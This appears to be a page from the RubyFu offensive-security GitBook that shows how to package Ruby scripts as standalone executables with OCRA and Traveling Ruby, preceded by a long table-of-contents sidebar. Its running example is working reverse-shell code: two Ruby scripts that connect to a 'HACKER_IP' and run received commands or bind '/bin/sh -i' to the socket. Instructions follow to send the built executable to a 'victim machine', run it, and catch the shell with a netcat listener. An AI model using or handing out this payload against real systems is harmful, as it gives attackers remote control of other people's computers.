+ <ul class="articles">
872
+
873
+
874
+ <li class="chapter " data-level="5.1" data-path="module_0x5__exploitation_kung_fu/fuzzer.html">
875
+
876
+
877
+ <a href="../module_0x5__exploitation_kung_fu/fuzzer.html">
878
+
879
+ <i class="fa fa-check"></i>
880
+
881
+ <b>5.1.</b>
882
+
883
+ Fuzzer
884
+ </a>
885
+
886
+
887
+ </li>
888
+
889
+ <li class="chapter " data-level="5.2" data-path="module_0x5__exploitation_kung_fu/metasploit.html">
890
+
891
+
892
+ <a href="../module_0x5__exploitation_kung_fu/metasploit.html">
893
+
894
+ <i class="fa fa-check"></i>
895
+
896
+ <b>5.2.</b>
897
+
898
+ Metasploit
899
+ </a>
900
+
901
+
902
+ <ul class="articles">
903
+
904
+
905
+ <li class="chapter " data-level="5.2.1" data-path="module_0x5__exploitation_kung_fu/auxiliary_module.html">
906
+
907
+
908
+ <a href="../module_0x5__exploitation_kung_fu/auxiliary_module.html">
909
+
910
+ <i class="fa fa-check"></i>
911
+
912
+ <b>5.2.1.</b>
913
+
914
+ Auxiliary module
915
+ </a>
916
+
917
+
918
+ </li>
919
+
920
+ <li class="chapter " data-level="5.2.2" data-path="module_0x5__exploitation_kung_fu/exploit_module.html">
921
+
922
+
923
+ <a href="../module_0x5__exploitation_kung_fu/exploit_module.html">
924
+
925
+ <i class="fa fa-check"></i>
926
+
927
+ <b>5.2.2.</b>
928
+
929
+ Exploit module
930
+ </a>
931
+
932
+
933
+ </li>
934
+
935
+ <li class="chapter " data-level="5.2.3" data-path="module_0x5__exploitation_kung_fu/meterpreter.html">
936
+
937
+
938
+ <a href="../module_0x5__exploitation_kung_fu/meterpreter.html">
939
+
940
+ <i class="fa fa-check"></i>
941
+
942
+ <b>5.2.3.</b>
943
+
944
+ Meterpreter
945
+ </a>
946
+
947
+
948
+ <ul class="articles">
949
+
950
+
951
+ <li class="chapter " data-level="5.2.3.1" data-path="module_0x5__exploitation_kung_fu/extensions.html">
952
+
953
+
954
+ <a href="../module_0x5__exploitation_kung_fu/extensions.html">
955
+
956
+ <i class="fa fa-check"></i>
957
+
958
+ <b>5.2.3.1.</b>
959
+
960
+ API and Extensions
961
+ </a>
962
+
963
+
964
+ </li>
965
+
966
+ <li class="chapter " data-level="5.2.3.2" data-path="module_0x5__exploitation_kung_fu/meterpreter_scripting.html">
967
+
968
+
969
+ <a href="../module_0x5__exploitation_kung_fu/meterpreter_scripting.html">
970
+
971
+ <i class="fa fa-check"></i>
972
+
973
+ <b>5.2.3.2.</b>
974
+
975
+ Meterpreter Scripting
976
+ </a>
977
+
978
+
979
+ </li>
980
+
981
+ <li class="chapter " data-level="5.2.3.3" data-path="module_0x5__exploitation_kung_fu/railgun_api_extension.html">
982
+
983
+
984
+ <a href="../module_0x5__exploitation_kung_fu/railgun_api_extension.html">
985
+
986
+ <i class="fa fa-check"></i>
987
+
988
+ <b>5.2.3.3.</b>
989
+
990
+ Railgun API Extension
991
+ </a>
992
+
993
+
994
+ </li>
995
+
996
+
997
+ </ul>
998
+
999
+ </li>
1000
+
1001
+
1002
+ </ul>
1003
+
1004
+ </li>
1005
+
1006
+ <li class="chapter " data-level="5.3" data-path="module_0x5__exploitation_kung_fu/metasm.html">
1007
+
1008
+
1009
+ <a href="../module_0x5__exploitation_kung_fu/metasm.html">
1010
+
1011
+ <i class="fa fa-check"></i>
1012
+
1013
+ <b>5.3.</b>
1014
+
1015
+ metasm
1016
+ </a>
1017
+
1018
+
1019
+ </li>
1020
+
1021
+
1022
+ </ul>
1023
+
1024
+ </li>
1025
+
1026
+ <li class="chapter " data-level="6" data-path="module_0x6__forensic/index.html">
1027
+
1028
+
1029
+ <a href="../module_0x6__forensic/index.html">
1030
+
1031
+ <i class="fa fa-check"></i>
1032
+
1033
+ <b>6.</b>
1034
+
1035
+ Module 0x6 | Forensic Kung Fu
1036
+ </a>
1037
+
1038
+
1039
+ <ul class="articles">
1040
+
1041
+
1042
+ <li class="chapter " data-level="6.1" data-path="module_0x6__forensic/windows_forensic.html">
1043
+
1044
+
1045
+ <a href="../module_0x6__forensic/windows_forensic.html">
1046
+
1047
+ <i class="fa fa-check"></i>
1048
+
1049
+ <b>6.1.</b>
1050
+
1051
+ Windows Forensic
1052
+ </a>
1053
+
1054
+
1055
+ </li>
1056
+
1057
+ <li class="chapter " data-level="6.2" data-path="module_0x6__forensic/android_forensic.html">
1058
+
1059
+
1060
+ <a href="../module_0x6__forensic/android_forensic.html">
1061
+
1062
+ <i class="fa fa-check"></i>
1063
+
1064
+ <b>6.2.</b>
1065
+
1066
+ Android Forensic
1067
+ </a>
1068
+
1069
+
1070
+ </li>
1071
+
1072
+ <li class="chapter " data-level="6.3" data-path="module_0x3__network_kung_fu/network_traffic_analysis.html">
1073
+
1074
+
1075
+ <a href="../module_0x3__network_kung_fu/network_traffic_analysis.html">
1076
+
1077
+ <i class="fa fa-check"></i>
1078
+
1079
+ <b>6.3.</b>
1080
+
1081
+ Network Traffic Analysis
1082
+ </a>
1083
+
1084
+
1085
+ </li>
1086
+
1087
+ <li class="chapter " data-level="6.4" data-path="module_0x6__forensic/parsing_log_files.html">
1088
+
1089
+
1090
+ <a href="../module_0x6__forensic/parsing_log_files.html">
1091
+
1092
+ <i class="fa fa-check"></i>
1093
+
1094
+ <b>6.4.</b>
1095
+
1096
+ Parsing Log Files
1097
+ </a>
1098
+
1099
+
1100
+ </li>
1101
+
1102
+
1103
+ </ul>
1104
+
1105
+ </li>
1106
+
1107
+ <li class="chapter " data-level="7" data-path="references/index.html">
1108
+
1109
+
1110
+ <a href="../references/index.html">
1111
+
1112
+ <i class="fa fa-check"></i>
1113
+
1114
+ <b>7.</b>
1115
+
1116
+ References
1117
+ </a>
1118
+
1119
+
1120
+ </li>
1121
+
1122
+ <li class="chapter " data-level="8" data-path="faqs/index.html">
1123
+
1124
+
1125
+ <a href="../faqs/index.html">
1126
+
1127
+ <i class="fa fa-check"></i>
1128
+
1129
+ <b>8.</b>
1130
+
1131
+ FAQs
1132
+ </a>
1133
+
1134
+
1135
+ </li>
1136
+
1137
+ <li class="chapter " data-level="9" data-path="contributors/index.html">
1138
+
1139
+
1140
+ <a href="../contributors/index.html">
1141
+
1142
+ <i class="fa fa-check"></i>
1143
+
1144
+ <b>9.</b>
1145
+
1146
+ Contributors
1147
+ </a>
1148
+
1149
+
1150
+ <ul class="articles">
1151
+
1152
+
1153
+ <li class="chapter " data-level="9.1" data-path="contributors/todo.html">
1154
+
1155
+
1156
+ <a href="../contributors/todo.html">
1157
+
1158
+ <i class="fa fa-check"></i>
1159
+
1160
+ <b>9.1.</b>
1161
+
1162
+ TODO
1163
+ </a>
1164
+
1165
+
1166
+ </li>
1167
+
1168
+
1169
+ </ul>
1170
+
1171
+ </li>
1172
+
1173
+
1174
+
1175
+
1176
+ <li class="divider"></li>
1177
+ <li>
1178
+ <a href="https://www.gitbook.com" target="blank" class="gitbook-link">
1179
+ Published with GitBook
1180
+ </a>
1181
+ </li>
1182
+
1183
+ </ul>
1184
+ </nav>
1185
+ </div>
1186
+
1187
+ <div class="book-body">
1188
+ <div class="body-inner">
1189
+ <div class="book-header" role="navigation">
1190
+ <!-- Actions Left -->
1191
+
1192
+
1193
+ <!-- Title -->
1194
+ <h1>
1195
+ <i class="fa fa-circle-o-notch fa-spin"></i>
1196
+ <a href="../" >RubyFu</a>
1197
+ </h1>
1198
+ </div>
1199
+
1200
+ <div class="page-wrapper" tabindex="-1" role="main">
1201
+ <div class="page-inner">
1202
+
1203
+
1204
+ <section class="normal" id="section-">
1205
+
1206
+ <h1 id="module-0x2--system-kung-fu"><a name="module-0x2--system-kung-fu" class="plugin-anchor" href="#module-0x2--system-kung-fu"><span class="fa fa-link"></span></a>Module 0x2 | System Kung Fu</h1>
1207
+ <h2 id="packaging"><a name="packaging" class="plugin-anchor" href="#packaging"><span class="fa fa-link"></span></a>Packaging</h2>
1208
+ <p>Many questions about building a standalone application that doesn&apos;t require Ruby to be pre-installed on the system. Of-course, due attacking machine you cant grantee that ruby is installed on the target system. So here we will demonstrate some ways to do that.</p>
1209
+ <h3 id="oneclick-ruby-applicationocra-builder"><a name="oneclick-ruby-applicationocra-builder" class="plugin-anchor" href="#oneclick-ruby-applicationocra-builder"><span class="fa fa-link"></span></a>One-Click Ruby Application(OCRA) Builder</h3>
1210
+ <p>OCRA (One-Click Ruby Application) builds Windows executables from Ruby source code. The executable is a self-extracting, self-running executable that contains the Ruby interpreter, your source code and any additionally needed ruby libraries or DLL.</p>
1211
+ <p><strong>It&apos;s Windows support only</strong>, not really ;)</p>
1212
+ <ul>
1213
+ <li><p>Features</p>
1214
+ <blockquote>
1215
+ <ul>
1216
+ <li>LZMA Compression (optional, default on)</li>
1217
+ <li>Ruby 1.8.7, 1.9.3, 2.0.0 and 2.1.5 support</li>
1218
+ <li>Both windowed/console mode supported</li>
1219
+ <li>Includes gems based on usage, or from a Bundler Gemfile</li>
1220
+ </ul>
1221
+ </blockquote>
1222
+ </li>
1223
+ <li><p>To install OCRA</p>
1224
+ <pre><code>gem install ocra
1225
+ </code></pre></li>
1226
+ </ul>
1227
+ <p>So all what to need is to have your application.</p>
1228
+ <p>Suppose we have the following script, a reverse shell of course ;)</p>
1229
+ <pre><code class="lang-ruby"><span class="hljs-comment">#!/usr/bin/env ruby</span>
1230
+ <span class="hljs-comment"># KING SABRI | <span class="hljs-doctag">@KINGSABRI</span></span>
1231
+ <span class="hljs-keyword">require</span> <span class="hljs-string">&apos;socket&apos;</span>
1232
+ <span class="hljs-keyword">if</span> <span class="hljs-constant">ARGV</span>[<span class="hljs-number">0</span>].<span class="hljs-keyword">nil</span>? || <span class="hljs-constant">ARGV</span>[<span class="hljs-number">1</span>].<span class="hljs-keyword">nil</span>?
1233
+ puts <span class="hljs-string">&quot;ruby <span class="hljs-subst">#{__FILE_<span class="hljs-number">_</span>}</span>.rb [HACKER_IP HACKER_PORT]\n\n&quot;</span>
1234
+ exit
1235
+ <span class="hljs-keyword">end</span>
1236
+ ip, port = <span class="hljs-constant">ARGV</span>
1237
+ s = <span class="hljs-constant">TCPSocket</span>.new(ip,port)
1238
+ <span class="hljs-keyword">while</span> cmd = s.gets
1239
+ <span class="hljs-constant">IO</span>.popen(cmd,<span class="hljs-string">&quot;r&quot;</span>){|io|s.print io.read}
1240
+ <span class="hljs-keyword">end</span>
1241
+ </code></pre>
1242
+ <p>from our Windows Attacker machine cmd.exe</p>
1243
+ <pre><code>C:\Users\admin\Desktop&gt;ocra rshell.rb --windows --console
1244
+ </code></pre><p>Results </p>
1245
+ <pre><code>C:\Users\admin\Desktop&gt;ocra rshell.rb --windows --console
1246
+ === Loading script to check dependencies
1247
+ ruby C:/Users/admin/Desktop/rshell.rb.rb [HACKER_IP HACKER_PORT]
1248
+
1249
+ === Attempting to trigger autoload of Gem::ConfigFile
1250
+ === Attempting to trigger autoload of Gem::DependencyList
1251
+ === Attempting to trigger autoload of Gem::DependencyResolver
1252
+ === Attempting to trigger autoload of Gem::Installer
1253
+ === Attempting to trigger autoload of Gem::RequestSet
1254
+ === Attempting to trigger autoload of Gem::Source
1255
+ === Attempting to trigger autoload of Gem::SourceList
1256
+ === Attempting to trigger autoload of Gem::SpecFetcher
1257
+ === Attempting to trigger autoload of CGI::HtmlExtension
1258
+ === Detected gem ocra-1.3.5 (loaded, files)
1259
+ === 6 files, 191333 bytes
1260
+ === Detected gem io-console-0.4.3 (loaded, files)
1261
+ === WARNING: Gem io-console-0.4.3 root folder was not found, skipping
1262
+ === Including 53 encoding support files (3424768 bytes, use --no-enc to exclude)
1263
+ === Building rshell.exe
1264
+ === Adding user-supplied source files
1265
+ === Adding ruby executable ruby.exe
1266
+ === Adding detected DLL C:/Ruby22/bin/zlib1.dll
1267
+ === Adding detected DLL C:/Ruby22/bin/LIBEAY32.dll
1268
+ === Adding detected DLL C:/Ruby22/bin/SSLEAY32.dll
1269
+ === Adding detected DLL C:/Ruby22/bin/libffi-6.dll
1270
+ === Adding library files
1271
+ === Compressing 10622666 bytes
1272
+ === Finished building rshell.exe (2756229 bytes)
1273
+ </code></pre><p>In the same directory, you&apos;ll find an exe file <code>rshell.exe</code>. Send it on the windows victim machine which doesn&apos;t have ruby installed and run it.</p>
1274
+ <pre><code>rshell.exe 192.168.0.14 9911
1275
+ </code></pre><p>from our attacking machine we already listening on 9911</p>
1276
+ <pre><code>nc -lvp 9911
1277
+ </code></pre><p><img src="packaging__ocra1.png" alt=""></p>
1278
+ <h3 id="travelingruby"><a name="travelingruby" class="plugin-anchor" href="#travelingruby"><span class="fa fa-link"></span></a>Traveling-ruby</h3>
1279
+ <p>From official site<sup><a href="#fn_1" id="reffn_1">1</a></sup> &quot;<em>Traveling Ruby is a project which supplies self-contained, &quot;portable&quot; Ruby binaries: Ruby binaries that can run on any Linux distribution and any OS X machine. It also has Windows support (with some caveats). This allows Ruby app developers to bundle these binaries with their Ruby app, so that they can distribute a single package to end users, without needing end users to first install Ruby or gems.</em>&quot;</p>
1280
+ <p>Note: The following script has been taken from the official docs.</p>
1281
+ <h4 id="preparation"><a name="preparation" class="plugin-anchor" href="#preparation"><span class="fa fa-link"></span></a>Preparation</h4>
1282
+ <pre><code>mkdir rshell
1283
+ cd rshell
1284
+ </code></pre><ul>
1285
+ <li>Create your application -in our case, reverse shell- in &quot;rshell&quot; folder</li>
1286
+ </ul>
1287
+ <p><strong>rshell.rb</strong></p>
1288
+ <pre><code class="lang-ruby"><span class="hljs-comment">#!/usr/bin/env ruby</span>
1289
+ <span class="hljs-comment"># KING SABRI | <span class="hljs-doctag">@KINGSABRI</span></span>
1290
+ <span class="hljs-keyword">require</span> <span class="hljs-string">&apos;socket&apos;</span>
1291
+ <span class="hljs-keyword">if</span> <span class="hljs-constant">ARGV</span>.size &lt; <span class="hljs-number">2</span>
1292
+ puts <span class="hljs-string">&quot;ruby <span class="hljs-subst">#{__FILE_<span class="hljs-number">_</span>}</span>.rb [HACKER_IP HACKER_PORT]\n\n&quot;</span>
1293
+ exit <span class="hljs-number">0</span>
1294
+ <span class="hljs-keyword">end</span>
1295
+ ip, port = <span class="hljs-constant">ARGV</span>
1296
+ s = <span class="hljs-constant">TCPSocket</span>.open(ip,port).to_i
1297
+ exec sprintf(<span class="hljs-string">&quot;/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d&quot;</span>,s,s,s)
1298
+ </code></pre>
1299
+ <ul>
1300
+ <li>Test it </li>
1301
+ </ul>
1302
+ <pre><code>ruby rshell.rb
1303
+ # =&gt; ruby rshell.rb.rb [HACKER_IP HACKER_PORT]
1304
+ </code></pre><h5 id="creating-package-directories"><a name="creating-package-directories" class="plugin-anchor" href="#creating-package-directories"><span class="fa fa-link"></span></a>Creating package directories</h5>
1305
+ <p>The next step is to prepare packages for all the target platforms, by creating a directory each platform, and by copying your app into each directory. (Assuming that your application could differ from OS to another)</p>
1306
+ <pre><code>mkdir -p rshell-1.0.0-linux-x86/lib/app
1307
+ cp rshell.rb rshell-1.0.0-linux-x86/lib/app/
1308
+
1309
+ mkdir -p rshell-1.0.0-linux-x86_64/lib/app
1310
+ cp rshell.rb rshell-1.0.0-linux-x86_64/lib/app/
1311
+
1312
+ mkdir -p rshell-1.0.0-osx/lib/app/
1313
+ cp rshell.rb rshell-1.0.0-osx/lib/app/
1314
+ </code></pre><p>Next, create a <code>packaging</code> directory and download Traveling Ruby binaries for each platform into that directory. Then extract these binaries into each packaging directory. You can find a list of binaries at the Traveling Ruby Amazon S3 bucket. For faster download times, use the CloudFront domain &quot;<a href="http://d6r77u77i8pq3.cloudfront.net" target="_blank">http://d6r77u77i8pq3.cloudfront.net</a>&quot;. In this tutorial we&apos;re extracting version 20141215-2.1.5.</p>
1315
+ <pre><code>mkdir packaging
1316
+ cd packaging
1317
+ wget -c http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-20141215-2.1.5-linux-x86.tar.gz
1318
+ wget -c http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-20141215-2.1.5-linux-x86_64.tar.gz
1319
+ wget -c http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-20141215-2.1.5-osx.tar.gz
1320
+ cd ..
1321
+
1322
+ mkdir rshell-1.0.0-linux-x86/lib/ruby &amp;&amp; tar -xzf packaging/traveling-ruby-20141215-2.1.5-linux-x86.tar.gz -C rshell-1.0.0-linux-x86/lib/ruby
1323
+ mkdir rshell-1.0.0-linux-x86_64/lib/ruby &amp;&amp; tar -xzf packaging/traveling-ruby-20141215-2.1.5-linux-x86_64.tar.gz -C rshell-1.0.0-linux-x86_64/lib/ruby
1324
+ mkdir rshell-1.0.0-osx/lib/ruby &amp;&amp; tar -xzf packaging/traveling-ruby-20141215-2.1.5-osx.tar.gz -C rshell-1.0.0-osx/lib/ruby
1325
+ </code></pre><p>Now, each package directory will have Ruby binaries included. It looks like this: Your directory structure will now look like this:</p>
1326
+ <pre><code>rshell/
1327
+ |
1328
+ +-- rshell.rb
1329
+ |
1330
+ +-- rshell-linux86/
1331
+ | |
1332
+ | +-- lib/
1333
+ | +-- app/
1334
+ | | |
1335
+ | | +-- rshell.rb
1336
+ | |
1337
+ | +-- ruby/
1338
+ | |
1339
+ | +-- bin/
1340
+ | | |
1341
+ | | +-- ruby
1342
+ | | +-- ...
1343
+ | +-- ...
1344
+ |
1345
+ +-- rshell-linux86_64/
1346
+ | |
1347
+ | ...
1348
+ |
1349
+ +-- rshell-osx/
1350
+ |
1351
+ ...
1352
+ </code></pre><h5 id="quick-sanity-testing"><a name="quick-sanity-testing" class="plugin-anchor" href="#quick-sanity-testing"><span class="fa fa-link"></span></a>Quick sanity testing</h5>
1353
+ <p>Let&apos;s do a basic sanity test by running your app with a bundled Ruby interpreter. Suppose that you are developing on OS X. Run this:</p>
1354
+ <pre><code>cd rshell-osx
1355
+ ./lib/ruby/bin/ruby lib/app/rshell.rb
1356
+ # =&gt; ruby rshell.rb.rb [HACKER_IP HACKER_PORT]
1357
+
1358
+ cd ..
1359
+ </code></pre><h5 id="creating-a-wrapper-script"><a name="creating-a-wrapper-script" class="plugin-anchor" href="#creating-a-wrapper-script"><span class="fa fa-link"></span></a>Creating a wrapper script</h5>
1360
+ <p>Now that you&apos;ve verified that the bundled Ruby interpreter works, you&apos;ll want create a <em>wrapper script</em>. After all, you don&apos;t want your users to run <code>/path-to-your-app/lib/ruby/bin/ruby /path-to-your-app/lib/app/rshell.rb</code>. You want them to run /path-to-your-app/rshell.</p>
1361
+ <p>Here&apos;s what a wrapper script could look like:</p>
1362
+ <pre><code class="lang-bash"><span class="hljs-shebang">#!/bin/bash</span>
1363
+ <span class="hljs-built_in">set</span> <span class="hljs-operator">-e</span>
1364
+
1365
+ <span class="hljs-comment"># Figure out where this script is located.</span>
1366
+ SELFDIR=<span class="hljs-string">&quot;`dirname \&quot;<span class="hljs-variable">$0</span>\&quot;`&quot;</span>
1367
+ SELFDIR=<span class="hljs-string">&quot;`cd \&quot;<span class="hljs-variable">$SELFDIR</span>\&quot; &amp;&amp; pwd`&quot;</span>
1368
+
1369
+ <span class="hljs-comment"># Run the actual app using the bundled Ruby interpreter.</span>
1370
+ <span class="hljs-built_in">exec</span> <span class="hljs-string">&quot;<span class="hljs-variable">$SELFDIR</span>/lib/ruby/bin/ruby&quot;</span> <span class="hljs-string">&quot;<span class="hljs-variable">$SELFDIR</span>/lib/app/rshell.rb&quot;</span>
1371
+ </code></pre>
1372
+ <p>Save this file as <code>packaging/wrapper.sh</code> in your project&apos;s root directory. Then you can copy it to each of your package directories and name it <code>rshell</code>:</p>
1373
+ <pre><code>chmod +x packaging/wrapper.sh
1374
+ cp packaging/wrapper.sh rshell-1.0.0-linux-x86/rshell
1375
+ cp packaging/wrapper.sh rshell-1.0.0-linux-x86_64/rshell
1376
+ cp packaging/wrapper.sh rshell-1.0.0-osx/rshell
1377
+ </code></pre><h5 id="finalizing-packages"><a name="finalizing-packages" class="plugin-anchor" href="#finalizing-packages"><span class="fa fa-link"></span></a>Finalizing packages</h5>
1378
+ <pre><code>tar -czf rshell-1.0.0-linux-x86.tar.gz rshell-1.0.0-linux-x86
1379
+ tar -czf rshell-1.0.0-linux-x86_64.tar.gz rshell-1.0.0-linux-x86_64
1380
+ tar -czf rshell-1.0.0-osx.tar.gz rshell-1.0.0-osx
1381
+ rm -rf rshell-1.0.0-linux-x86
1382
+ rm -rf rshell-1.0.0-linux-x86_64
1383
+ rm -rf rshell-1.0.0-osx
1384
+ </code></pre><p>Congratulations, you have created packages using Traveling Ruby!</p>
1385
+ <p>An x86 Linux user could now use your app like this:</p>
1386
+ <ol>
1387
+ <li>The user downloads rshell-1.0.0-linux-x86.tar.gz.</li>
1388
+ <li>The user extracts this file.</li>
1389
+ <li>The user runs your app:</li>
1390
+ </ol>
1391
+ <pre><code>/path-to/rshell-1.0.0-linux-x86/rshell
1392
+ # =&gt; ruby rshell.rb.rb [HACKER_IP HACKER_PORT]
1393
+ </code></pre><h5 id="automating-the-process"><a name="automating-the-process" class="plugin-anchor" href="#automating-the-process"><span class="fa fa-link"></span></a>Automating the process</h5>
1394
+ <p>Going through all of the above steps on every release is a hassle, so you should automate the packaging process, for example by using Rake. Here&apos;s how the Rakefile could look like:</p>
1395
+ <pre><code class="lang-ruby"><span class="hljs-constant">PACKAGE_NAME</span> = <span class="hljs-string">&quot;rshell&quot;</span>
1396
+ <span class="hljs-constant">VERSION</span> = <span class="hljs-string">&quot;1.0.0&quot;</span>
1397
+ <span class="hljs-constant">TRAVELING_RUBY_VERSION</span> = <span class="hljs-string">&quot;20150210-2.1.5&quot;</span>
1398
+
1399
+ desc <span class="hljs-string">&quot;Package your app&quot;</span>
1400
+ task <span class="hljs-symbol">:package</span> =&gt; [<span class="hljs-string">&apos;package:linux:x86&apos;</span>, <span class="hljs-string">&apos;package:linux:x86_64&apos;</span>, <span class="hljs-string">&apos;package:osx&apos;</span>]
1401
+
1402
+ namespace <span class="hljs-symbol">:package</span> <span class="hljs-keyword">do</span>
1403
+ namespace <span class="hljs-symbol">:linux</span> <span class="hljs-keyword">do</span>
1404
+ desc <span class="hljs-string">&quot;Package your app for Linux x86&quot;</span>
1405
+ task <span class="hljs-symbol">:x86</span> =&gt; <span class="hljs-string">&quot;packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-linux-x86.tar.gz&quot;</span> <span class="hljs-keyword">do</span>
1406
+ create_package(<span class="hljs-string">&quot;linux-x86&quot;</span>)
1407
+ <span class="hljs-keyword">end</span>
1408
+
1409
+ desc <span class="hljs-string">&quot;Package your app for Linux x86_64&quot;</span>
1410
+ task <span class="hljs-symbol">:x86_64</span> =&gt; <span class="hljs-string">&quot;packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-linux-x86_64.tar.gz&quot;</span> <span class="hljs-keyword">do</span>
1411
+ create_package(<span class="hljs-string">&quot;linux-x86_64&quot;</span>)
1412
+ <span class="hljs-keyword">end</span>
1413
+ <span class="hljs-keyword">end</span>
1414
+
1415
+ desc <span class="hljs-string">&quot;Package your app for OS X&quot;</span>
1416
+ task <span class="hljs-symbol">:osx</span> =&gt; <span class="hljs-string">&quot;packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-osx.tar.gz&quot;</span> <span class="hljs-keyword">do</span>
1417
+ create_package(<span class="hljs-string">&quot;osx&quot;</span>)
1418
+ <span class="hljs-keyword">end</span>
1419
+ <span class="hljs-keyword">end</span>
1420
+
1421
+ file <span class="hljs-string">&quot;packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-linux-x86.tar.gz&quot;</span> <span class="hljs-keyword">do</span>
1422
+ download_runtime(<span class="hljs-string">&quot;linux-x86&quot;</span>)
1423
+ <span class="hljs-keyword">end</span>
1424
+
1425
+ file <span class="hljs-string">&quot;packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-linux-x86_64.tar.gz&quot;</span> <span class="hljs-keyword">do</span>
1426
+ download_runtime(<span class="hljs-string">&quot;linux-x86_64&quot;</span>)
1427
+ <span class="hljs-keyword">end</span>
1428
+
1429
+ file <span class="hljs-string">&quot;packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-osx.tar.gz&quot;</span> <span class="hljs-keyword">do</span>
1430
+ download_runtime(<span class="hljs-string">&quot;osx&quot;</span>)
1431
+ <span class="hljs-keyword">end</span>
1432
+
1433
+ <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create_package</span><span class="hljs-params">(target)</span></span>
1434
+ package_dir = <span class="hljs-string">&quot;<span class="hljs-subst">#{<span class="hljs-constant">PACKAGE_NAME</span>}</span>-<span class="hljs-subst">#{<span class="hljs-constant">VERSION</span>}</span>-<span class="hljs-subst">#{target}</span>&quot;</span>
1435
+ sh <span class="hljs-string">&quot;rm -rf <span class="hljs-subst">#{package_dir}</span>&quot;</span>
1436
+ sh <span class="hljs-string">&quot;mkdir -p <span class="hljs-subst">#{package_dir}</span>/lib/app&quot;</span>
1437
+ sh <span class="hljs-string">&quot;cp rshell.rb <span class="hljs-subst">#{package_dir}</span>/lib/app/&quot;</span>
1438
+ sh <span class="hljs-string">&quot;mkdir <span class="hljs-subst">#{package_dir}</span>/lib/ruby&quot;</span>
1439
+ sh <span class="hljs-string">&quot;tar -xzf packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-<span class="hljs-subst">#{target}</span>.tar.gz -C <span class="hljs-subst">#{package_dir}</span>/lib/ruby&quot;</span>
1440
+ sh <span class="hljs-string">&quot;cp packaging/wrapper.sh <span class="hljs-subst">#{package_dir}</span>/rshell&quot;</span>
1441
+ <span class="hljs-keyword">if</span> !<span class="hljs-constant">ENV</span>[<span class="hljs-string">&apos;DIR_ONLY&apos;</span>]
1442
+ sh <span class="hljs-string">&quot;tar -czf <span class="hljs-subst">#{package_dir}</span>.tar.gz <span class="hljs-subst">#{package_dir}</span>&quot;</span>
1443
+ sh <span class="hljs-string">&quot;rm -rf <span class="hljs-subst">#{package_dir}</span>&quot;</span>
1444
+ <span class="hljs-keyword">end</span>
1445
+ <span class="hljs-keyword">end</span>
1446
+
1447
+ <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">download_runtime</span><span class="hljs-params">(target)</span></span>
1448
+ sh <span class="hljs-string">&quot;cd packaging &amp;&amp; curl -L -O --fail &quot;</span> +
1449
+ <span class="hljs-string">&quot;http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-<span class="hljs-subst">#{target}</span>.tar.gz&quot;</span>
1450
+ <span class="hljs-keyword">end</span>
1451
+ </code></pre>
1452
+ <p>You can then create all 3 packages by running:</p>
1453
+ <pre><code>rake package
1454
+ </code></pre><p>You can also create a package for a specific platform by running one of:</p>
1455
+ <pre><code>rake package:linux:x86
1456
+ rake package:linux:x86_64
1457
+ rake package:osx
1458
+ </code></pre><p>You can also just create package directories, without creating the .tar.gz files, by passing DIR_ONLY=1:</p>
1459
+ <pre><code>rake package DIR_ONLY=1
1460
+ rake package:linux:x86 DIR_ONLY=1
1461
+ rake package:linux:x86_64 DIR_ONLY=1
1462
+ rake package:osx DIR_ONLY=1
1463
+ </code></pre><h5 id="on-victim-machine"><a name="on-victim-machine" class="plugin-anchor" href="#on-victim-machine"><span class="fa fa-link"></span></a>On Victim Machine</h5>
1464
+ <p>You now have three files which you can distribute to end users.</p>
1465
+ <pre><code>rshell-1.0.0-linux-x86.tar.gz
1466
+ rshell-1.0.0-linux-x86_64.tar.gz
1467
+ rshell-1.0.0-osx.tar.gz
1468
+ </code></pre><p>Suppose the end user is on Linux x86_64. S/he uses your app by downloading rshell-1.0.0-linux-x86_64.tar.gz, extracting it and running it:</p>
1469
+ <pre><code>wget rshell-1.0.0-linux-x86_64.tar.gz
1470
+ ...
1471
+ tar xzf rshell-1.0.0-linux-x86_64.tar.gz
1472
+ cd rshell-1.0.0-linux-x86_64
1473
+ ./rshell
1474
+ # =&gt; ruby rshell.rb.rb [HACKER_IP HACKER_PORT]
1475
+ </code></pre><h4 id="mruby"><a name="mruby" class="plugin-anchor" href="#mruby"><span class="fa fa-link"></span></a>mruby</h4>
1476
+ <p><strong>mruby CLI</strong><sup><a href="#fn_2" id="reffn_2">2</a></sup> A utility for setting up a CLI with mruby that compiles binaries to Linux, OS X, and Windows.</p>
1477
+ <h5 id="prerequisites"><a name="prerequisites" class="plugin-anchor" href="#prerequisites"><span class="fa fa-link"></span></a>Prerequisites</h5>
1478
+ <ul>
1479
+ <li>mruby-cli</li>
1480
+ <li>Docker</li>
1481
+ <li>Docker Compose</li>
1482
+ </ul>
1483
+ <h5 id="developer-introduction"><a name="developer-introduction" class="plugin-anchor" href="#developer-introduction"><span class="fa fa-link"></span></a>Developer introduction</h5>
1484
+ <p><a href="https://www.youtube.com/watch?v=OvuZ8R4Y9xA" target="_blank">https://www.youtube.com/watch?v=OvuZ8R4Y9xA</a></p>
1485
+ <h2 id="close-source-code"><a name="close-source-code" class="plugin-anchor" href="#close-source-code"><span class="fa fa-link"></span></a>Close Source code</h2>
1486
+ <p>Sometimes we don&apos;t want to disclose our source code for whatever reason, but we still want to share our applications either commercially or for free. Here a commercial solution for that purpose, RubyEncoder.</p>
1487
